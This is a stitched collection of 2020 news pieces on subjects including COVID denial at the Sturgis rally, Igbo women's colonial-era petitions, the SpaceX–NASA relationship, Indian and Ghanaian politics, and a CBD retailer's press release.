visitors believe coronavirus is a hoax and fears are overblown. Jim Urquhart/Insider Converse is one of the many visitors to Sturgis who believes that concerns about the novel coronavirus, which has killed more than 163,000 people in the United States and more than 732,000 globally, are overblown. Story continues "I've never met anybody and I do gun shows every single weekend. I'm in face-to-face contact with thousands of people every weekend from all over the country, I've never come down with it. Nobody that I know at any of the gun shows have come down with it," he said. "I would say a lot of the people out here aren't convinced that the numbers are accurate. There's a lot of suspicion from the conservative side that the numbers are skewed to support an agenda that's against our president." Politics has become a prominent through line at this year's rally. Stands lining the streets of Sturgis are selling Trump campaign gear. But not everyone is on board with the false claim that the virus is a myth. Real Pinard, a biker from Arizona, said the "stubborn" belief that COVID-19 is a hoax is rampant at the rally and not based in reality. Pinard, who is still recovering after a 15-day bout with COVID-19, has attended the rally for six years because he loves the beauty of the ride through the Black Hills region of South Dakota. "I just like the ride, but some people just have no idea what's going on," Pinard, who is originally from Canada, told Insider. Most people at the Sturgis Rally are flouting advice to wear masks. Some are scoffing at those who do. Jim Urquhart for Insider As a COVID-19 survivor, he knows it's not a hoax Pinard said that for eight days earlier this year he had a fever of 100.8 degrees. For 15 days, he had headaches so bad he thought his "head was going to blow up," and by the end, his lung capacity had decreased to 50%, he says. "I thought I was going to die," he said. Now at the rally, Pinard is wearing a mask, trying to keep his distance, and washing his hands often. He shakes his head when he sees stickers or decals calling the virus a conspiracy. "Are you shitting me? That means 180 countries around the world are waiting on Trump having an election," he said. "They drink a lot of Kool-Aid. Common sense doesn't seem to work here. Pinard said there are others like him, who attend the motorcycle rally simply for the ride and don't share the same beliefs as the majority of visitors. Locals running shops or restaurants wear masks and keep a distance, he said. Some rally attendees will scoff at people donning masks, but Pinard says he hasn't encountered any trouble. On Sunday, Pinard said he visited a local bar but left after people there were participating in a "sneeze contest." "It was to see who can sneeze the furthest out," he said. "People were laughing and applauding. I said what the heck, they think it's fake," Pinard said, referring to COVID-19. Insider called the bar where Pinard said the contest took place. An employee denied the claim and hung up the phone before answering any more questions. Local officials are prepared for the worst when the rally ends. Jim Urquhart/Insider The city of Sturgis is prepared for the worst when crowds leave City officials have no real authority to order guests to wear masks. An ordinance like that would have to come from the office of Gov. Kristi Noem, who has chosen not to pursue such an order. Instead, the city implemented grocery delivery services for seniors and at-risk residents, it has encouraged locals to stay home, and organized a mass-testing event scheduled for the week after the rally. Mark Schulte, president of the local Monument Health Sturgis Hospital, told Insider that he can't predict whether there will be an outbreak, but staff has prepared for one if it happens. They're also ready for an uptick in emergency room visits. Converse says he agrees with some of the preventative measures, but only to a point: "My opinion is, if you are scared of getting COVID, or you're at high-risk, then you stay home. It's wrong for the government to make me stay home because somebody else might get sick." "If that person is sick, let them stay home," he said. But that's not how infectious diseases work. Most coronavirus infections can be traced to super-spreading events, like rallies, where one person infects many others, recent research out of Hong Kong found. The study described super-spreader events as the primary means of transmission of the virus. Pinard said he worries how many states will see a surge in cases after rally attendees go home. "I just wish people had more common sense," he said. Read the original article on Insider Bright Alozie, West Virginia University Selected petitions and written correspondence between Igbo women and British officials between 1892 and 1960 shed fresh light on how women navigated male-dominated colonial institutions and structures of the time. African women acted in varied and complex ways to the situations they found themselves in. This ranged from subtle to overt opposition, and sometimes violent resistance. One response was through petition writing as women took to the pen to articulate their concerns. In my research, I examined several petitions written by Igbo women to British officials during the colonial period. I found that petition writing was part of the complex power politics between the women and the colonial state. On June 5, 1885, Great Britain proclaimed Nigeria as a colony. It declared a protectorate over territories on the coast between the British Protectorate of Lagos and both banks of the Rivers Niger and Benue (The London Gazette, June 5, 1885). Although treaties were signed with rulers by 1885, actual British control of northern and southern Nigeria was not attained until 1900. Colonial rule lasted until 1960 and was resisted in various forms. In Igboland, this included warfare, protests, tax evasion and petition writing. The petitions enable us to understand the circumstances under which women turned to the government for assistance and under which the authorities granted or rejected their requests. Women opened up debates and dialogues using petitions. This offers insights into their relationships with indigenous men and with British officers. My research shows that petition writing granted women agency and opportunities for far greater female assertiveness and civic engagement. In this sense, petitions served a political purpose and proved a powerful tool for the disenfranchised a group that included more than just women. The petitions The political context of the time was that women were not incorporated in colonial administration. Petition writing was therefore a means by which women could influence, resist, negotiate and counteract policies within the colonial framework. It also challenged the outmoded narrative of the passivity of women in the colonial power structure. They were actively involved as individuals or groups in shaping public policies in the colonial era. In Igboland, women regularly approached British officials with personal requests and complaints. The focus of their petitions was on socio-political and economic issues such as taxation, politics, policies, price control, cost of living, family issues, representation, marriages and so on. These excerpts are drawn from a pool of petitions which I have dubbed voices on ink. On September 12, 1928, Igbo women led by Madam Chinwe petitioned the Lieutenant Governor of the Southern Provinces over the frustrations that the colonial economy placed on them. (The British National Archives (TNA), FCO 141/13669/2. Petitions and Complaints: Madam Chinwe) In view of the fact that Aba women at the present time suffer significant hardships regarding the high cost of staples, could you consider fixing the prices of foodstuff at certain fixed rates? (Aba Progressive Union Petitions, 9/12/1928, National Archives, Enugu (NAE), Abadist 13/12/15. File No. 99/28) On November 16, 1937, Mary Nna of Ohambele petitioned the Senior Resident, Owerri Province, concerning what she perceived to be an unfair judgement against her in the group native court of Ikwueke. She wrote: I respectfully submit that the annulment of the Native Court judgment by the Reviewing Officer is bad in law The evidence of the defendant is a tissue of lies and the defendant set up the defence as an afterthought in order to frustrate the course of justice and bring to ridicule and contempt British justice and fair play. (Petition from Mary Nna of Ohambele, Aba Division, 12/11/1937, NAE, Abadist 9/1/95, File No. OW. 3041/5) On September 7, 1940, Maria Olumo petitioned the Resident to help restore her ownership of a piece of land that she alleged the Chiefs of Umuezi had taken from her and unlawfully transferred to a European firm, the United Africa Company. (Abadist 14/1/31. File No. 31 Vol. XVII. Maria Olumo (F): Petitions and Complaints: General) What the petitions tell us Petition writing demonstrates the politics from below which regularly featured resistance by women during the colonial era. Women, along with their male counterparts, took advantage of opportunities to seek redress and inform the government of their needs and complaints. Petitioning was an avenue to interact with colonial authorities despite the social distance that separated ordinary subjects from the colonial ruling elite. Seeking redress through petitions was a powerful tool that helped bridge the gap between men and women in a rigidly patriarchal colonial system. While women understood and respected this distance, they certainly were not entirely powerless or voiceless. Petition writing also offered a legal means to bridge the gap. It gave female subjects, who generally had no other direct contact with the authorities, a legal mechanism to press the government to fulfil its obligations. Additionally, they demonstrate that women were not passive and voiceless subjects of the empire, as much of the colonial historiography would have one believe. On the contrary, women understood their qualifications as petitioners and their rights even as they stood before an administration that was male dominated. Petitioning allowed women to occupy (as much as possible) colonial spaces that were constructed as quintessentially male. Since they occupied substantially diminished roles, Igbo women evolved their roles into a semblance of their precolonial expressions of political and socioeconomic power. By petitioning, they could be heard in the corridors of power that were otherwise unapproachable to them. Sometimes they managed to get the upper levels of colonial government to address a manifest wrong. Even when the administration did not resolve their problems, analysis of these sources reveals a pattern of interaction between the coloniser and colonised, one that hasnt been recognised before. Indeed, a study of female voices on ink demonstrates the need to shift narratives and focus on neglected but unsung female heroes of the colonial period. We must recognise these women for who they were contestants and agents of power in a male-dominated, British colonial society. Bright Alozie, Lecturer in History, West Virginia University This article is republished from The Conversation under a Creative Commons license. Read the original article. Advertisements The conversation BAGHDAD At least two explosions have hit convoys supplying U.S.-led coalition forces in Iraq in the last 24 hours, security sources said, the first on Monday evening near the southern border with Kuwait and the second on Tuesday north of Baghdad. The explosions, which caused no casualties but did some material damage, are the latest in a string of such incidents in recent weeks. An attack in southern Iraq on Sunday hit a convoy carrying supplies to coalition forces, the military said. Several thousand U.S. forces are still based in Iraq, leading a coalition whose mission is to fight Sunni Muslim Islamic State militants. Those forces are also a target for Iran-backed Shiite militias, which the United States blames for regular rocket attacks on bases hosting the coalition, and on other U.S. targets such as Washingtons embassy in Baghdad. The militias have vowed to avenge the death of paramilitary commander Abu Mahdi al-Muhandis, who was killed alongside Iranian military mastermind Qassem Soleimani in a U.S. drone strike in Baghdad in January. Political forces aligned with the militias demand a full withdrawal of foreign troops from Iraq. They also oppose Iraqs Prime Minister Mustafa al-Kadhimi, who took office in May. He is viewed as being friendly with the United States and has challenged the power of Iran-aligned armed groups in Iraq. MULTIPLE ATTACKS Tuesdays explosion near the Taji military base north of Baghdad caused a fire to a container on one vehicle, the Iraqi military said in a statement. There was no immediate claim of responsibility for the blast. The explosion on Monday night near the Jraischan border crossing between Iraq and Kuwait targeted a convoy carrying equipment for U.S. forces, three sources from different branches of Iraqs security services and military said. The Iraqi military denied that incident took place. Kuwaits military on Twitter also denied any attack along its border with Iraq. Vehicles are regularly loaded with military equipment at the crossing, the security sources said, and cargo is usually loaded or unloaded before entering or exiting Iraq. Foreign companies are contracted by U.S. forces to provide security in the area, the Iraqi security sources said. A little known Iraqi Shiite militia group by the name of Ashab al-Kahf claimed responsibility for the attack and published a video showing an explosion at a distance. It said it was able to destroy U.S. military equipment and large parts of the crossing. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Former President John Dramani Mahama has warned members of the governing New Patriotic Party (NPP) to stop calling themselves as the real owners of the country. According to him, the adopted strategy of the Akufo-Addo government is exclusiveness as those whose names are not familiar to them are considered as aliens in the country. It is more exclusive, and you heard one of them say that the real owners are in charge now; who are the real owners of this country? All of us are the owners of this country and so it is most unfortunate, he lamented. To him, a leadership primary duty for every nation must be to be inclusive and also to bring people together rather than tear them apart but feared that the Akufo-Addo government is doing direct opposite of its primary duty. The point I am making is a leadership primary duty for every nation must be to be inclusive and to bring people together rather than tear them apart but unfortunately, this doesnt seem to be what this government wants to achieve, he said in an interview with Woezor TV. He however assured that if God gives him the opportunity back to power, he will use that opportunity to cement the peace and unity of this country as those who have followed his political career know him to be a person who likes to bring people together. He stressed that he will do everything within the mandate given to him by Ghanaians and makes it his ambition to solve the problem of disunity in the country fuelled by the Akufo-Addo government as he thrives in united front. People have followed my political career and I am a person who likes to bring people together, Im a problem solver and I thrive in united front and it will be my ambition as a political leader and God gives me the opportunity again to cement the peace and unity of this country, he assured. There can be nothing greater in value to us than the peace of our nation. I believe that if it is Gods will and we come into office, we will bring things back to normal. Our democracy is being eroded, peoples rights have been trampled and it is most unfortunate development, he stated. Source: Daniel Adu Darko/Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video (CNN) In May, millions of Americans watched as Robert Behnken and Douglas Hurley, two veteran NASA astronauts, strapped into a SpaceX Crew Dragon capsule and took a 17,000 mile per hour ride to the International Space Station. It was the first time NASA astronauts launched from US soil since 2011 and the first time in history that a privately owned vehicle carried humans into Earth's orbit. The astronauts returned safely home last weekend, and once again, NASA and SpaceX employees cheered together, celebrating their coordinated accomplishment. That moment of solidarity, however, came after years of infighting, politicking and mutual distrust, according to current and former employees from NASA and SpaceX. Elon Musk, who made millions as a co-founder of PayPal, founded SpaceX in 2002 with the stated goal of sending humans to live on Mars: "I think we're beginning to see is the dawn of a new era of space exploration one that is driven by commercial companies as much, if not more, than by government," Musk told CNN in a 2004 interview. When the startup began working with NASA later that decade, it had only a few dozen engineers and was known primarily for Musk's bold claims and for blowing up its first rocket prototypes. The space agency, wise from past tragedies that cost astronauts' lives, saw SpaceX as brash and reckless. The prevailing perception was "they're cowboys; they're dangerous; they're going to kill somebody," said former NASA astronaut Garrett Reisman, a veteran of two Space Shuttle missions who joined SpaceX in 2011 as a senior engineer, working on Crew Dragon development. Even after SpaceX began to prove its engineering chops and was awarded multibillion-dollar NASA contracts, cultural divisions kept tensions brewing behind the scenes. NASA repeatedly signaled that it was more confident in its legacy partner, Boeing, which was developing the Starliner, a spacecraft to rival SpaceX's Crew Dragon. As recently as 2016, NASA was planning its schedule around the idea that the Starliner would beat the Crew Dragon to the launch pad. And, as recently as last September, NASA chief Jim Bridenstine and Elon Musk were publicly sparring over whether SpaceX was paying adequate attention to the spacecraft's development. But by the new year, Boeing and SpaceX's race to the launch pad took a clear turn. A Starliner test flight in December was riddled with missteps and left NASA and Boeing officials scrambling to figure out what went wrong. Shortly afterward, SpaceX's Crew Dragon soared through its final testing milestones, and, in the midst of a pandemic, swiftly prepared for its crowning launch achievement. NASA officials admitted earlier this month that they had turned a more scrutinizing eye toward SpaceX and its unorthodox ways, while issues with Boeing's Starliner slipped through the cracks. "To see NASA step up and say, 'We should have trusted SpaceX more' If you would have played that clip about eight years ago, I would have been flabbergasted," Reisman said. "It would have been pure science fiction." 'Wacky people doing wacky things' Back in 2005, NASA knew its Space Shuttle program was nearing its end and the space agency would be shifting its focus to a new human spaceflight program, aimed at fulfilling then-President George W. Bush's directive to return humans to the Moon in 2020. The space agency, however, also needed to keep the International Space Station, a $100 billion orbiting laboratory, stocked with supplies. And a small faction of NASA employees had a radical idea: Instead of doing the bulk of the work, perhaps NASA could ask private-sector companies to develop new spacecraft and compete for NASA contracts. If the spacecraft proved capable of delivering cargo to the Space Station, then perhaps they could also ask companies to build crew-worthy capsules. "I think in general it was viewed by [others at] NASA as just a bunch of wacky people doing wacky things," Marc Timm, a senior manager at NASA who was involved with the commercial program (later named COTS), recalled to a NASA historian. "We were kind of left alone, which I think was another benefit that allowed us to be successful." When SpaceX was selected as a COTS program competitor in 2006, it was a four-year-old company with fewer than 100 employees, mostly young engineers, that were trying to launch cheap rockets off the tiny island of Omelek, about 2,300 miles west of Hawaii. They had already blown up one. A common perception at the time was that space technology was probably too complex and expensive for the private sector, and SpaceX's eccentric CEO, Elon Musk, could join a long list of rich guys who blew their fortune on the impossible. "We were on our own from our infancy, so we were used to being a bit internally self-centered," Tim Buzza, a former SpaceX vice president and one of its first employees, later said, according to NASA's Oral History Project. "I think learning to accept some of that outside help was something that we had to learn." Building bridges Throughout its history, NASA has worked with aerospace contractors to help design, develop, build and test new spacecraft. Boeing and the companies it's merged with, for example, have worked alongside the space agency on every spaceflight program since Project Mercury began in the 1950s But the COTS program marked an entirely new blueprint. NASA lent expertise and oversight, but companies were awarded fixed-price contracts. If costs ran high, the contractors would have to find more money elsewhere or work around the problem. SpaceX ended up spending about $545 million of its own money on top of NASA's $475 million COTS award to build the first Dragon spacecraft, a vehicle designed only to carry cargo. To cut costs, SpaceX wanted to skip some ground tests. Instead of sticking a spacecraft in a bunch of test chambers, as is standard, the company wanted to accept a bit of added risk and put a Dragon cargo capsule on the launch pad. "The first flight could serve as these big system tests," SpaceX president Gwynne Shotwell told NASA's Oral History Project in 2013. "The biggest challenge, I think, that we had in the execution of this was convincing NASA, every step of the way, that though we're going to do business very differently, we're going to get it right." Shotwell said SpaceX engineers also used C++, a modern computer programming language adored in Silicon Valley, while NASA was used to working with its own aerospace-specific languages, such as HAL/S. The two sides became accustomed to long, "painful" meetings to reach understandings, Shotwell said. NASA preferred slow, methodical approaches and detailed documentation to organize the process. SpaceX's strategy was to move fast and continuously make changes. But not everyone at NASA was put off. "They were making things in a month that would have taken NASA like a year," Reisman, the former NASA astronaut, told CNN. He watched the company's progress while preparing for his second Space Shuttle mission. "We were just amazed." After Reisman returned from his mission, STS-132, he left NASA to join the startup. A year later, in 2012, the first SpaceX Dragon cargo vehicle safely latched onto the International Space Station after launching atop its new Falcon 9 rocket. SpaceX became impossible to ignore. And the success of the Dragon spacecraft, which still flies routine cargo missions to the ISS, enabled a pro-commercialization movement inside NASA to push forward with a plan to allow SpaceX and other private companies to take over astronaut transportation, too. Failure and politics After President Barack Obama came into office, his administration asked Congress to back a new program, dubbed Commercial Crew, which would be modeled on the COTS program but would be focused on developing human-rated spacecraft. The Obama Administration also proposed scrapping the Bush-era Moon landing program in 2010. That idea, however, did not sit well with the space industry establishment or some of NASA's bankrollers on Capitol Hill. Republican Senator Richard Shelby of Alabama, whose state is home to a major NASA facility, called the administration's proposal a "death march" for NASA's human spaceflight ambitions and an attempt to "coddle the dreams of rocket hobbyists." Republicans also wanted to revive the Bush Administration's Moon landing program and the massive rocket and spacecraft NASA planned to develop for the mission, so eventually a compromise was reached: The Moon program was revived, and Congress agreed to fund the Commercial Crew Program. But SpaceX's critics continued to fixate on its failures. The company wanted to figure out how to recover rocket boosters after launch, hoping it would save some cash, but the boosters kept crashing off-target into the ocean. In June 2015, just months after SpaceX received its final Commercial Crew contract, one of its rockets and Dragon spacecraft erupted on its way to the ISS, destroying 4,000 pounds worth of science experiments and supplies. And in late 2016, another SpaceX rocket exploded on the launch pad, destroying a multimillion-dollar satellite. However, SpaceX also amassed impressive successes. It eventually mastered the art of landing rocket boosters and began regularly navigating them to pinpoint landings on ground pads and seafaring platforms. It launched dozens of flawless missions on rockets that cost roughly a third of those built by legacy US aerospace companies. And, in 2018, it successfully launched the largest operational rocket in the world, known as Falcon Heavy. Many NASA engineers grew to respect the company and its unorthodox process. "I like to credit a bunch of people along the way that really kind of stuck their neck out," Reisman, the NASA-astronaut-turned-SpaceX-engineer, told CNN Business. (Reisman is currently a professor at the University of Southern California and works as a SpaceX consultant.) 'It's time to deliver' But SpaceX never stopped giving talking points to its critics. Musk, the company's head engineer and public figurehead, attracted a near-constant string of controversies: Smoking marijuana during a podcast interview, running afoul of federal regulators for posting misleading tweets about his electric car company, Tesla, and lashing out at his critics on Twitter. And that was just 2018. NASA administrator Jim Bridenstine publicly aired his frustration with Musk in September, when Crew Dragon was months behind schedule after one of the capsules exploded during a test fire, and Musk was hosting a much-hyped press event about SpaceX's Mars rocket concept in Texas. Bridenstine tweeted at SpaceX that he expects to "see the same level of enthusiasm focused" on its plans to carry NASA astronauts to the ISS, adding "it's time to deliver." Musk responded in an interview with CNN in which he took a jab at NASA's long-delayed and over budget Moon rocket. The back-and-forth ended with a joint press conference to publicly bury the hatchet. But behind the scenes, NASA and SpaceX engineers were already finishing Crew Dragon's design fixes and preparing to give the spacecraft its final "go for launch." That approval rested in large part on Kathy Lueders, NASA's Commercial Crew program head. In May, days before SpaceX launched its historic crewed mission, she reflected on the evolution of Boeing, the trusted NASA partner that was then undergoing lengthy reviews of its botched test flight, and SpaceX, the underdog that some thought would never get the job done. "I tell people that there'll be Harvard Business studies [about these companies]," Lueders, who has business administration and engineering degrees, told CNN. "I think the program was really a catalyst for maturity for both companies." Boeing had to learn to work within an aerospace program that didn't send more money when accounts ran dry. And SpaceX had to grow out of its "Skunkworks" phase, Lueders said, a reference to Lockheed Martin's internal experimental prototype division. From SpaceX's point of view, "the worst thing to be would be to be a major aerospace company," Lueders said. "They want to be on the leading edge and, sometimes, that's tough when you're dealing with government customers." This story was first published on CNN.com, "How SpaceX and NASA overcame a bitter culture clash to bring back US astronaut launches." Punjab Chief Minister Amarinder Singh said Tuesday the Punjabi attitude of 'koyi gal nahin' was causing people to delay their COVID-19 testing until it became inevitable, warning them it could prove detrimental in some cases. Singh blamed the attitude for the higher-than-Haryana mortality rate in Punjab. While this was a nice attitude, he said, it could prove detrimental in some cases. He said he had conveyed this to Prime Minister Narendra Modi too earlier Tuesday. "The concern at present, however, was the rising number of Covid cases in the state, with the Punjabi spirit of 'koyi gal nahin' (no worries) causing people to delay going for testing and treatment," said Singh. He was addressing a virtual meeting with industry leaders, including Hindustan Unilever Ltd CMD Sanjiv Mehta, Biocon's Executive Chairperson Kiran Mazumdar-Shaw and Tech Mahindra MD C P Gurnani. Earlier during a video conference with Prime Minister Modi to review the COVID-19 situation, the chief minister said the cases in the state have reached 24,891 with 604 deaths. Singh said the state had seen cases go up from 500 to 1,000 in two weeks, with the positivity rate of the last five days at 8.73 per cent. The majority of cases were being reported from Ludhiana, Jalandhar and Patiala, though they were increasing in all districts, he said. Micro-containment zones were being increased in high incidence districts like Ludhiana, Patiala and Jalandhar, he added. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) US President Donald Trump was escorted from the Briefing Room on Monday during a daily session with reporters following a shooting near the White House. US President Donald Trump was evacuated from the Briefing Room on Monday during a daily session with reporters following a shooting near the White House. According to CNN, Trump was being escorted out from the briefing room, as there was a shooting outside the White House. Moments later, he returned and continued the briefing and said that the situation very well seems to be under control. Trump further thanked the Secret Service saying that they did a fantastic job. He further said that there was a shooting outside the White House and it seemed to be very well under control. He further added that he would like to thank the Secret Service for doing their always quick and very effective work. Talking further, he stated that somebody had been taken to hospital, seemed the person was shot by Secret Service. When asked about whether he was rattled by the incident, he asked if he seemed rattled. He said that it was unfortunate but the world had always been a dangerous place, it was not something that was unique. Also read: Lebanon govt steps down over Beirut explosion Also read: India to provide relief material to Lebanon after Beirut blasts With regard to the feeling of being safe in the White House, Trump said that he feels very safe. He precisely said that he feels very safe with the Secret Service and they are fantastic, the best of the best. He added that there is nobody like those people. Trump was moved to the Oval Office after he was interrupted by the Secret Service during the briefing. The details of the shooting, he said, would be briefed later. Also read: India stands second in Covid testing after US: Trump By Express News Service BENGALURU: Opposition party leaders from Karnataka are standing in solidarity with Tamil Nadu MP and Dravida Munnetra Kazhagam leader MK Kanimozhi over the Hindi issue. Kanimozhi on Sunday had alleged that a CISF official asked her if she was an Indian as she could not speak Hindi, while the paramilitary force ordered an inquiry asserting that it is not its policy to insist upon any particular language. Former Chief Minister and JDS Legislature Party Chief HD Kumaraswamy on Monday went all guns blazing against what he termed the imposition of Hindi on non-Hindi speaking population and the politics around it. In a statement, Kumarasamy said that many prominent politicians from South India had been denied opportunities due to the Hindi politics. Now, it is apt to debate how political leaders from the South were snatched of their opportunities by Hindi politics and discrimination. Hindi politics has prevented many South Indians from becoming PM Deve Gowda, Karunanidhi and Kamaraj are prominent (SIC). Though Deve Gowda was successful in breaking this barrier, there were several incidents of him being criticised and ridiculed for reasons of language, he said. He also noted that Deve Gowda had been forced to deliver his Independence Day speech in Hindi for the sake of farmers from Bihar and Uttar Pradesh and shared his own experiences as Member of Parliament. The ruling class ignores the South with disdain. I have seen from close quarters on how Hindi politicians manoeuvre. Most of them dont respect non-Hindi politicians, he said and added that the disdain continues in public sector jobs as well where candidates are compelled to write entrance exams in either English or Hindi with no option of mother tongue. Congress leaders like Jayanagar MLA Sowmya Reddy too showed solidarity with Kanimozhi and demanded that Hindi should not be imposed on non-Hindi speaking citizens. Nigerian-born multi-platform musician and philanthropist, Florence Ifeoluwa Otedola aka DJ Cuppy, will be releasing her debut album, Original Copy, later this month. We swung a few questions her way to find out about her new album, her charity work and supporting women in the arts. What can fans expect with your soon to launch new album Original Copy? If you had to describe your sound as an outfit what would it be and why? What have been some of your career highlights? What do you feel still needs to change when it comes to supporting women in the arts? I think that women need to know their own strengths, without sounding like a cliche, we are stronger together! A lot of us African women are scared to sometimes speak up, but I do feel like we are on the verge of change, women are becoming unapologetic and they are also realising that men can do better. Can you tell us more about your foundation The Cuppy Foundation and how the public can help and get involved? What advice would you give to aspiring female artists? Whats your hidden talent? The album sees Cuppy take the vocal reigns on themes that range from independence to love lost and African pride, over a pop-meets-Afrobeats sonic bed that she calls: neo-Afrobeats.DJ Cuppy graduated with a degree in business and economics from Kings College London in 2014. By then she was already well established as a DJ and was selected as a DJ at the MTV Africa Music Awards.That was followed by her first compilation, The House of Cuppy, where she produced EDM-esque remixes of songs by leading Afro-pop artists. Soon came The House of Cuppy II, which took on a more Afro-house slant. Endearing her pan-African brand to the continent beyond Nigeria, Cuppy went on the Cuppy Takes Africa Tour a year later.DJ Cuppy dedicates her time to making impactful changes as an ambassador for Global Citizen and Save The Children. She started The Cuppy Foundation in 2018 and the Foundations Cuppy Gold Gala raised $17m to help displaced children across Nigeria.DJ Cuppy was signed to Apple Music's first African Radio show in May, and to Platoon Records in July.My cupcakes (my fans) can expect a new side of me. This album I poured my heart and soul into and I was fearless. I decided to do what I wanted to do and I worked with people who wanted to work with me. I think they are in for a treat! Its going to be a Cuppy they have never seen, but also a confident Cuppy, an unstoppable Cuppy, an original Cuppy.My sound as an outfit, I think would have patterns, definitely colour and texture. So it would look something like a velvet zebra dress that is pink with green dots, lots of gold accessories, perhaps a choker (for cheekiness), kitten heels, a mini bag and I may even throw in a bit of latex.My career highlights have varied from highs to lows, but certain highlights for me are three events that stand out for me. (1) DJing for the Nigerian and Ghanaian presidential inaugurations, (2) having the opportunity to DJ for charity, like at the Cuppy Gold Gala to raise funds for children, (3) lastly, recording my album. It was a personal goal that I achieved, and now its time to share it with the world.The Cuppy Foundation is an initiative I started out of a passion to tackle issues surrounding child protection and education for girls and persons with disabilities. Before I started the Cuppy Foundation, Ive always been ardent about protecting and empowering the minorities in society. What I did was create a platform where Ill be able to do that on a larger scale.So far, Im so proud to have been able to achieve that and even more. Ive partnered with different reputable organisations like Save the Children and Global Citizen to raise the much-needed funds to provide education, healthcare and essential resources.I strongly believe that we all have a part to contribute to making the world better. Be it speaking out against social injustice, spreading awareness or contributing financially to organizations that prefer help.Being a female DJ is not the norm and because people dont like what they dont know, its harder to break in. So, be prepared to do it twice as hard! Your sex is not a limitation. Work hard consistently and always work on improving your craft. Be better today than you were yesterday.Apart from being a female superstar female creative who is repping Africa, I feel like I can make my tongue touch my nose. BOULDER, Colo., Aug. 11, 2020 /PRNewswire/ -- Sales of CBD products have been soaring in the United States during the coronavirus pandemic as more people than ever are buying the popular oils, salves, and edibles, according to leading CBD retailer Serenity Store. Since the start of the global health emergency in the early part of the year, sales of CBD products at Serenity Store have been steadily increasing and are now at record levels amid a still-uncertain situation that is leaving many people stressed and anxious about their health and jobs, the online retailer said. CBD, which stands for cannabidiol, is extracted from the hemp or cannabis plant but does not give you the high that comes from using marijuana. Interest in CBD has exploded in recent years, and due to the 2018 Farm Bill, hemp production is now legal in the United States. The landmark legislation has made hemp more accessible and affordable than ever, and the nation has responded with enthusiasm for the CBD industry, said Serenity Store. Established out of Boulder, Colorado, in early 2020, Serenity Store is an online retailer of the top CBD products currently in the market. It carries a wide range of products, from traditional tinctures to CBD-infused gummies. Colorado is not only a pioneer in the hemp industry but also a place that is home to numerous hemp farms, and, since the legalization of hemp production, it has become a leader in the field of CBD. Promoting a variety of CBD brands with an emphasis on Colorado-owned businesses, Serenity Store curates an assortment of the finest CBD products available that are compatible with all kinds of lifestyles. All CBD products sold through Serenity Store have less than 0.3% THCthe mind-altering ingredient in marijuanaand will not cause a psychoactive effect, the company says. One of Serenity Store's top brands is Bluebird Botanicals, a Colorado company with a reputation for being one of the best in the business. Family-owned and -operated, Bluebird Botanicals has made it their mission to bring people the best-quality CBDfrom the farm to the bottle, as it says. Bluebird Botanicals is vegan and cruelty-free, and is known for its collection of CBD oils and capsules. Serenity Store's two favorite questions are, "How can we serve the customer better, and how can we serve them faster?" The answer is reflected in its shipping policy, which includes free standard shipping on all orders. Orders placed before 4pm MST are shipped same-day via USPS, and the online store refunds unopened products within 14 days of delivery. According to Serenity Store CEO Bruce Gibson, "CBD is a fascinating and rapidly growing market." Gibson is pleased to make the company's extensive product range available to Americans during a period of extreme worry and anxiety. "We are ready to serve our rapidly growing customer base with unrivaled customer service and top-quality products during this time of crisis and long after it's over," he said. For more information, please contact: Bruce Gibson CEO Serenity Store [email protected] SOURCE Serenity Store Credit: Pixabay/CC0 Public Domain A UCLA study published today found the exclusion of undocumented residents and their families from the $1,200 stimulus payments given to taxpayers a result of the COVID-19 pandemic resulted in a loss of $10 billion in potential economic output. It also cost 82,000 jobs nationally and 17,000 jobs in California, the research found. The study is a collaboration among the UCLA Latino Policy and Politics Initiative, the UCLA North American Integration and Development Center and the UCLA Institute for Research on Labor and Employment. Its publication comes as California and federal officials are considering further economic relief plans in response to the pandemic. The study found that undocumented workers and their families contributed more than $1.6 trillion to the nation's gross domestic product in 2018 through their shopping and workforce activities, and their reduced purchasing power amid a looming recession is both a public health and economic crisis, said Raul Hinojosa, the report's lead author. "Our undocumented neighbors buy groceries, pay taxes and support local businesses in economic activity that generates $190 billion in government revenue nationwide," said Hinojosa, a UCLA professor of Chicano studies and the executive director of the North American Integration and Development Center. "It is cruel to deny undocumented residents financial assistance as unemployment rates skyrocket, but it's also counterproductive fiscal policy that has negative consequences for all Americans who benefit from their economic contributions." The national unemployment rate for undocumented workers reached 29% in May, much higher than the rate for any other demographic group. "Undocumented workers have suffered disproportionate health and economic impacts during this global health crisis that we are just beginning to understand yet they are being excluded from critical policy relief discussions and we need to address this through a comprehensive approach to economic recovery," said Abel Valenzuela, director of the Institute for Research on Labor and Employment and a member of the study's research team. The study found that the economic benefits of including undocumented workers in future relief efforts would outweigh the costs. The economic activity generated by undocumented immigrants spending the tax credits they would receive under the HEROES Act, currently being debated in Congress, would support 112,000 jobs nationally and produce $14 billion in economic outputwhich would far exceed the $9.5 billion price tag of including them in recovery efforts. "Undocumented workers are fundamental to our economy, especially during the pandemic when many of them are the essential workers who are keeping us fed, safe and healthy," said Sonja Diaz, founding director of the Latino Policy and Politics Initiative. "It would be only fair to recognize their contributions by including them in recovery efforts, and it is also clear that we cannot rebound from this crisis if we leave them behind." The study concludes the following policy proposals would accelerate economic recovery nationwide and in California: Include undocumented workers in federal, state and local pandemic relief and economic stimulus programs to accelerate economic growth. Ensure that undocumented workers are eligible for all forms of economic assistance amid COVID-19, including unemployment benefits, health coverage, worker protections and stimulus funding. Issue an immediate moratorium on deportations and provide a path to citizenship for undocumented residents and their families. Explore further Economic benefits of illegal immigration outweigh the costs, study shows More information: Hinojosa-Ojeda et al., Undocumented During COVID-19: Essential for the Economy but Excluded from Relief. (2020). Hinojosa-Ojeda et al., Undocumented During COVID-19: Essential for the Economy but Excluded from Relief. (2020). latino.ucla.edu/research/undoc xcluded-from-relief/ Thank you for reading! Please purchase a subscription to read our premium content. If you have a subscription, please log in or sign up for an account on our website to continue. Chattanoogas office of the Tennessee Small Business Development Center has announced an advertising campaign to draw attention to the resources available for small businesses and entrepreneurs in the counties of Bledsoe, Franklin, Grundy, Hamilton, Marion, Rhea, Sequatchie, Van Buren and Warren. The center, which operates in partnership with Chattanooga State Community College, points to the recent challenges presented by the COVID-19 pandemic as cause to launch the campaign, ensuring the local business community is aware of tools 